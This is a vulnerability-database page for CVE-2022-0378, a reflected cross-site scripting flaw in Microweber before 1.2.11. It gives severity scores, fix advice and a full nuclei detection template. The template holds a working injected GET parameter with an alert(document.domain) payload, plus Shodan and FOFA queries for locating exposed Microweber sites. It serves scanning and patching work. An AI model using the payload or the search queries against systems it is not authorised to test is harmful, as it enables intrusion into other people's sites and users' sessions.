HexBrain

Browse / CVEs / CVE-2022-0378

CVE-2022-0378· microweber / microweber· CWE-79

Microweber Cross-Site Scripting

mediumseverity
5.4CVSS score
3.9%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

Microweber contains a reflected cross-site scripting in Packagist microweber/microweber prior to 1.2.11.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patch or upgrade to a version that has addressed the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(document.domain)+xx=%22test&from_url=x
Positive when: contains "mwui_init" and "onmousemove=\"alert(document.domain)" AND status 200

Run it with nuclei: nuclei -id CVE-2022-0378 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-0378

info:
  name: Microweber Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Microweber contains a reflected cross-site scripting in Packagist microweber/microweber prior to 1.2.11.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or upgrade to a version that has addressed the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0378
    - https://github.com/microweber/microweber/commit/fc7e1a026735b93f0e0047700d08c44954fce9ce
    - https://huntr.dev/bounties/529b65c0-5be7-49d4-9419-f905b8153d31
    - https://github.com/vohvelikissa/bugbouncing
    - https://github.com/x86trace/Oneliners
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-0378
    cwe-id: CWE-79
    epss-score: 0.03866
    epss-percentile: 0.90276
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microweber
    product: microweber
    shodan-query:
      - http.favicon.hash:780351152
      - http.html:"microweber"
    fofa-query:
      - body="microweber"
      - icon_hash=780351152
  tags: cve2022,cve,microweber,xss,huntr,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(document.domain)+xx=%22test&from_url=x'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'mwui_init'
          - 'onmousemove="alert(document.domain)'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from